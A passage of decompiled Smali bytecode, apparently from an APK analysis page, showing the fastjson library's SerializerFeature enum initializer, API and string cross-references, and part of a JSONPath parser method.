                                                15const/4 v3, 0x2
                                                17const-string v4, "WriteMapNullValue"
                                                19invoke-direct {v0, v4, v3}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                20sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteMapNullValue:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                21new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                22const/4 v4, 0x3
                                                24const-string v5, "WriteEnumUsingToString"
                                                26invoke-direct {v0, v5, v4}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                27sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteEnumUsingToString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                28new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                29const/4 v5, 0x4
                                                31const-string v6, "WriteEnumUsingName"
                                                33invoke-direct {v0, v6, v5}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                34sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteEnumUsingName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                35new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                36const/4 v6, 0x5
                                                38const-string v7, "UseISO8601DateFormat"
                                                40invoke-direct {v0, v7, v6}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                41sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseISO8601DateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                42new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                43const/4 v7, 0x6
                                                45const-string v8, "WriteNullListAsEmpty"
                                                47invoke-direct {v0, v8, v7}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                48sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullListAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                49new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                50const/4 v8, 0x7
                                                52const-string v9, "WriteNullStringAsEmpty"
                                                54invoke-direct {v0, v9, v8}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                55sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                56new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                57const/16 v9, 0x8
                                                59const-string v10, "WriteNullNumberAsZero"
                                                61invoke-direct {v0, v10, v9}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                62sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullNumberAsZero:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                63new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                64const/16 v10, 0x9
                                                66const-string v11, "WriteNullBooleanAsFalse"
                                                68invoke-direct {v0, v11, v10}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                69sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullBooleanAsFalse:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                70new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                71const/16 v11, 0xa
                                                73const-string v12, "SkipTransientField"
                                                75invoke-direct {v0, v12, v11}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                76sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->SkipTransientField:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                77new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                78const/16 v12, 0xb
                                                80const-string v13, "SortField"
                                                82invoke-direct {v0, v13, v12}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                83sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->SortField:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                84new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                85const/16 v13, 0xc
                                                87const-string v14, "WriteTabAsSpecial"
                                                89invoke-direct {v0, v14, v13}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                90sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteTabAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                91new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                92const/16 v14, 0xd
                                                94const-string v15, "PrettyFormat"
                                                96invoke-direct {v0, v15, v14}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                97sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                98new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                99const/16 v15, 0xe
                                                101const-string v14, "WriteClassName"
                                                103invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                104sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                105new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                107const-string v14, "DisableCircularReferenceDetect"
                                                108const/16 v15, 0xf
                                                110invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                111sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                112new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                114const-string v14, "WriteSlashAsSpecial"
                                                115const/16 v15, 0x10
                                                117invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                118sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                119new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                121const-string v14, "BrowserCompatible"
                                                122const/16 v15, 0x11
                                                124invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                125sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                126new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                128const-string v14, "WriteDateUseDateFormat"
                                                129const/16 v15, 0x12
                                                131invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                132sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteDateUseDateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                133new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                135const-string v14, "NotWriteRootClassName"
                                                136const/16 v15, 0x13
                                                138invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                139sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->NotWriteRootClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                140new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                142const-string v14, "DisableCheckSpecialChar"
                                                143const/16 v15, 0x14
                                                145invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                146sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCheckSpecialChar:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                147new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                149const-string v14, "BeanToArray"
                                                150const/16 v15, 0x15
                                                152invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                153sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                154new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                156const-string v14, "WriteNonStringKeyAsString"
                                                157const/16 v15, 0x16
                                                159invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                160sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNonStringKeyAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                161new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                163const-string v14, "NotWriteDefaultValue"
                                                164const/16 v15, 0x17
                                                166invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                167sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->NotWriteDefaultValue:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                168new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                170const-string v14, "BrowserSecure"
                                                171const/16 v15, 0x18
                                                173invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                174sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                175new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                177const-string v14, "IgnoreNonFieldGetter"
                                                178const/16 v15, 0x19
                                                180invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                181sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreNonFieldGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                182new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                184const-string v14, "WriteNonStringValueAsString"
                                                185const/16 v15, 0x1a
                                                187invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                188sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNonStringValueAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                189new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                191const-string v14, "IgnoreErrorGetter"
                                                192const/16 v15, 0x1b
                                                194invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                195sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                196new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                198const-string v14, "WriteBigDecimalAsPlain"
                                                199const/16 v15, 0x1c
                                                201invoke-direct {v0, v14, v15}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                202sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteBigDecimalAsPlain:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                203const/16 v0, 0x1d
                                                204new-array v0, v0, [Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                206sget-object v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->QuoteFieldNames:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                207aput-object v14, v0, v1
                                                209sget-object v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseSingleQuotes:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                210aput-object v14, v0, v2
                                                212sget-object v2, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteMapNullValue:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                213aput-object v2, v0, v3
                                                215sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteEnumUsingToString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                216aput-object v3, v0, v4
                                                218sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteEnumUsingName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                219aput-object v3, v0, v5
                                                221sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseISO8601DateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                222aput-object v3, v0, v6
                                                224sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullListAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                225aput-object v3, v0, v7
                                                227sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                228aput-object v3, v0, v8
                                                230sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullNumberAsZero:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                231aput-object v3, v0, v9
                                                233sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullBooleanAsFalse:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                234aput-object v3, v0, v10
                                                236sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->SkipTransientField:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                237aput-object v3, v0, v11
                                                239sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->SortField:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                240aput-object v3, v0, v12
                                                242sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteTabAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                243aput-object v3, v0, v13
                                                245sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                246const/16 v4, 0xd
                                                247aput-object v3, v0, v4
                                                249sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                250const/16 v4, 0xe
                                                251aput-object v3, v0, v4
                                                253sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                254const/16 v4, 0xf
                                                255aput-object v3, v0, v4
                                                257sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                258const/16 v4, 0x10
                                                259aput-object v3, v0, v4
                                                261sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                262const/16 v4, 0x11
                                                263aput-object v3, v0, v4
                                                265sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteDateUseDateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                266const/16 v4, 0x12
                                                267aput-object v3, v0, v4
                                                269sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->NotWriteRootClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                270const/16 v4, 0x13
                                                271aput-object v3, v0, v4
                                                273sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCheckSpecialChar:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                274const/16 v4, 0x14
                                                275aput-object v3, v0, v4
                                                277sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                278const/16 v4, 0x15
                                                279aput-object v3, v0, v4
                                                281sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNonStringKeyAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                282const/16 v4, 0x16
                                                283aput-object v3, v0, v4
                                                285sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->NotWriteDefaultValue:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                286const/16 v4, 0x17
                                                287aput-object v3, v0, v4
                                                289sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                290const/16 v4, 0x18
                                                291aput-object v3, v0, v4
                                                293sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreNonFieldGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                294const/16 v4, 0x19
                                                295aput-object v3, v0, v4
                                                297sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNonStringValueAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                298const/16 v4, 0x1a
                                                299aput-object v3, v0, v4
                                                301sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                302const/16 v4, 0x1b
                                                303aput-object v3, v0, v4
                                                305sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteBigDecimalAsPlain:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                306const/16 v4, 0x1c
                                                307aput-object v3, v0, v4
                                                308sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->$VALUES:[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                309new-array v0, v1, [Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                310sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->EMPTY:[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                312invoke-virtual {v2}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->getMask()I
                                                313move-result v0
                                                315sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullBooleanAsFalse:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                317invoke-virtual {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->getMask()I
                                                318move-result v1
                                                319or-int/2addr v0, v1
                                                321sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullListAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                323invoke-virtual {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->getMask()I
                                                324move-result v1
                                                325or-int/2addr v0, v1
                                                327sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullNumberAsZero:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                329invoke-virtual {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->getMask()I
                                                330move-result v1
                                                331or-int/2addr v0, v1
                                                333sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                335invoke-virtual {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->getMask()I
                                                336move-result v1
                                                337or-int/2addr v0, v1
                                                338sput v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WRITE_MAP_NULL_FEATURES:I
                                                339return-void
                                                Cross References
                                                APIs
                                                • java.lang.String.substring
                                                • java.lang.String.indexOf
                                                • java.lang.String.replaceAll
                                                • com.alibaba.fastjson.JSONPath$Operator.BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.IN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_IN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.UnsupportedOperationException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.Boolean.TRUE:Ljava/lang/Boolean
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.Boolean.TRUE:Ljava/lang/Boolean
                                                • java.lang.UnsupportedOperationException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.Boolean.FALSE:Ljava/lang/Boolean
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.Boolean.FALSE:Ljava/lang/Boolean
                                                • java.lang.UnsupportedOperationException.<init>
                                                • java.lang.UnsupportedOperationException.<init>
                                                • com.alibaba.fastjson.JSONPath$Operator.RLIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_RLIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.LIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_LIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.String.indexOf
                                                • java.lang.String.replaceAll
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_LIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.String.indexOf
                                                • com.alibaba.fastjson.JSONPath$Operator.LIKE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.String.split
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.System.arraycopy
                                                • java.lang.System.arraycopy
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_IN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.util.List.add
                                                • java.util.List.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.Object.getClass
                                                • java.util.List.size
                                                • java.util.List.get
                                                • java.util.List.size
                                                • java.util.List.get
                                                • java.lang.Number.longValue
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.util.List.size
                                                • java.util.List.get
                                                • java.lang.Number.longValue
                                                • java.util.List.size
                                                • java.util.List.get
                                                • com.alibaba.fastjson.JSONPath$Operator.NE:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • com.alibaba.fastjson.JSONPath$Operator.EQ:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.util.List.size
                                                • java.util.List.toArray
                                                • java.util.List.size
                                                • java.util.List.get
                                                • java.lang.Number.longValue
                                                • java.lang.Long.valueOf
                                                • java.lang.UnsupportedOperationException.<init>
                                                • java.util.List.add
                                                • com.alibaba.fastjson.JSONPath$Operator.NOT_BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator
                                                • java.lang.String.equalsIgnoreCase
                                                • java.lang.Object.getClass
                                                • java.lang.Object.getClass
                                                • java.lang.Number.longValue
                                                • java.lang.Number.longValue
                                                • com.alibaba.fastjson.JSONPathException.<init>
                                                • com.alibaba.fastjson.JSONPathException.<init>
                                                • com.alibaba.fastjson.JSONPathException.<init>
                                                Strings
                                                • \\.
                                                • \\\\\\.
                                                • null
                                                • true
                                                • false
                                                • %%
                                                • %
                                                • and
                                                Position Instruction Meta Information
                                                0if-eqz p1, :cond_7
                                                1const/16 v0, 0x5b
                                                3invoke-virtual {p0, v0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                4cond_7: iget-char v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                5const/16 v1, 0x3f
                                                6const/16 v2, 0x28
                                                7const/16 v3, 0x2e
                                                8const/4 v4, 0x0
                                                9const/4 v5, 0x1
                                                10if-ne v0, v1, :cond_27
                                                12invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                14invoke-virtual {p0, v2}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                15iget-char v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                16const/16 v1, 0x40
                                                17if-ne v0, v1, :cond_25
                                                19invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                21invoke-virtual {p0, v3}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                22cond_25: const/4 v0, 0x1
                                                23goto/16 :goto_28
                                                24cond_27: const/4 v0, 0x0
                                                25goto_28: const/4 v1, -0x1
                                                26const/16 v6, 0x5d
                                                27if-nez v0, :cond_9b
                                                28iget-char v7, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                30invoke-static {v7}, Lcom/alibaba/fastjson/util/IOUtils;->firstIdentifier(C)Z
                                                31move-result v7
                                                32if-eqz v7, :cond_37
                                                33goto/16 :goto_9b
                                                34cond_37: iget v2, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->pos:I
                                                35sub-int/2addr v2, v5
                                                36goto_3a: iget-char v7, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                37const/16 v8, 0x2f
                                                38if-eq v7, v6, :cond_5e
                                                39if-eq v7, v8, :cond_5e
                                                41invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->isEOF()Z
                                                42move-result v7
                                                43if-nez v7, :cond_5e
                                                44iget-char v7, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                45if-ne v7, v3, :cond_51
                                                46if-nez v0, :cond_51
                                                47if-nez v0, :cond_51
                                                48goto/16 :goto_5e
                                                49cond_51: iget-char v7, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                50const/16 v8, 0x5c
                                                51if-ne v7, v8, :cond_5a
                                                53invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                54cond_5a:
                                                55invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                56goto/16 :goto_3a
                                                57cond_5e: if-eqz p1, :cond_64
                                                58iget v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->pos:I
                                                59goto_62: sub-int/2addr v0, v5
                                                60goto/16 :goto_71
                                                61cond_64: iget-char v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                62if-eq v0, v8, :cond_6e
                                                63if-ne v0, v3, :cond_6b
                                                64goto/16 :goto_6e
                                                65cond_6b: iget v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->pos:I
                                                66goto/16 :goto_71
                                                67goto_6e: iget v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->pos:I
                                                68goto/16 :goto_62
                                                69goto_71:
                                                70iget-object v3, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->path:Ljava/lang/String;
                                                72invoke-virtual {v3, v2, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                73move-result-object v0
                                                75const-string v2, "\\."
                                                77invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                78move-result v3
                                                79if-eq v3, v1, :cond_8b
                                                81const-string p1, "\\\\\\."
                                                83invoke-virtual {v0, p1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                84move-result-object p1
                                                85new-instance v0, Lcom/alibaba/fastjson/JSONPath$PropertySegement;
                                                87invoke-direct {v0, p1, v4}, Lcom/alibaba/fastjson/JSONPath$PropertySegement;-><init>(Ljava/lang/String;Z)V
                                                88return-object v0
                                                89cond_8b:
                                                90invoke-virtual {p0, v0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->buildArraySegement(Ljava/lang/String;)Lcom/alibaba/fastjson/JSONPath$Segement;
                                                91move-result-object v0
                                                92if-eqz p1, :cond_9a
                                                94invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->isEOF()Z
                                                95move-result p1
                                                96if-nez p1, :cond_9a
                                                98invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                99cond_9a: return-object v0
                                                100cond_9b:
